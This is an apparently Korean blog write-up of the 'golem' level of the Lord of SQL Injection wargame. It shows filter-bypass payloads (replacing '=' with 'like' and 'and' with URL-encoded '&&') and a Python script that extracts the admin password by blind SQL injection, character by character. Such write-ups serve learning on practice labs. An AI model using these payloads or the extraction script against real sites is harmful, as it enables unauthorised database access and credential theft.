Web Hacking/LoS

[Lord of SQLINJECTION] los golem

ruming 2021. 7. 11. 19:02

비밀번호를 맞춰야하고, 여러가지 특수기호가 막혀있다. or, and, substr(, =

substr함수가 막혀있는 걸 보면 blind SQL 인젝션인 것 같다.

 

=은 like로 우회가 가능하다고 한다.

 

pw=2' || id like 'admin'%23

blind SQL인젝션이 맞다. 이제 막혀있는 것들을 잘 우회해서 풀어보자.

 

비밀번호 길이

pw=2' || id like 'admin'%26%26length(pw) like 8%23

&&은 %26%26로 우회해줬다.

8글자다. 이제 자동화 프로그램을 돌려서 비밀번호를 알아내자.

 

import requests

headers = {'Cookie' : 'PHPSESSID=쿠키;'}
url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"

for i in range(1, 9):
    for ch in range(48, 123):
        if 58 <= ch <= 64: continue
        if 91 <= ch <= 96: continue
        data = "?pw=2' || id like 'admin' %26%26 ascii(mid(pw,"+str(i)+",1)) like "+str(ch)+"%23"
        r = requests.get(url + data, headers = headers)
        if 'Hello admin' in r.text:
            print(i, ':', chr(ch))
            break

비밀번호 : 77d6290b

클리어!

'Web Hacking > LoS' 카테고리의 다른 글

[Lord of SQL Injection] los bugbear  (0) 2021.08.01
[Lord of SQL Injection] los darkknight  (0) 2021.07.18
[Lord of SQL Injection] los skeleton  (0) 2021.06.28
[Lord of SQL Injection] los vampire  (0) 2021.06.28
[Lord of SQL Injection] los troll  (0) 2021.06.27